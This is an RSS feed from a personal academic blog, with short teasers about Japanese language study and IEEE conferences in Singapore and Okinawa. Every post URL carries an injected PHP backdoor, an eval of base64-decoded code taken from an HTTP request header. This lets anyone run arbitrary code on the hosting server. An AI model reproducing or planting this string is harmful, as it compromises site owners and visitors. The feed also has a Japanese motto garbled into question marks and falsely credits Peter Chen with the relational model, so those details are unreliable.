http://andreasarjona.com Wisdom for Free Tue, 07 Sep 2010 02:59:44 +0000 http://backend.userland.com/rss092 en The yearly JLPT (Japanese Language Proficiency Test) test is getting closer. During the last couple years I have been trying to improve my language level as much as possible. Unfortunately in Finland all Japanese lectures are in FINNISH language. For that reason I have learned everything on my own. I ... http://andreasarjona.com/2008/11/14/jlpt-3-weeks-away/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ My motto during my Dissertation Excile is: ???????????????????????(Sonna amachoroi mon janendayo, oira ni wa) Which, in simple terms means, "It ain't gonna be easy" http://andreasarjona.com/2008/07/04/summer-motto/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Last week I participated in the IEEE Vehicular Technology Conference in Singapore. A very nice event and obviously an amazing host city. Surprisingly there were a much larger amount of Finnish/Swedish peers than I expected considering the location. No wonder why flights were almost completely booked even 3 months in ... http://andreasarjona.com/2008/05/21/back-from-ieee-vtc08-conference-in-singapore/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ This week I am attending a IEEE AINA'08 in Okinawa and later on doing some research visits in Tokyo. It should be very nice, it is still winter in Finland, thus a short spring break with cherry blossoms will be fantastic. http://andreasarjona.com/2008/03/20/okinawa-visit-ieee-aina08/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ In certain times people have asked me "Why are you studying Bioinformatics? Isn't that completely out of your field?". Personally, I think that that assumption is wrong and narrow minded. Thus, would like to quote Peter Chen, which invented the database relational model: " Getting Fresh Ideas from Unconventional Places. After ... http://andreasarjona.com/2008/02/11/why-bioinformatics/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/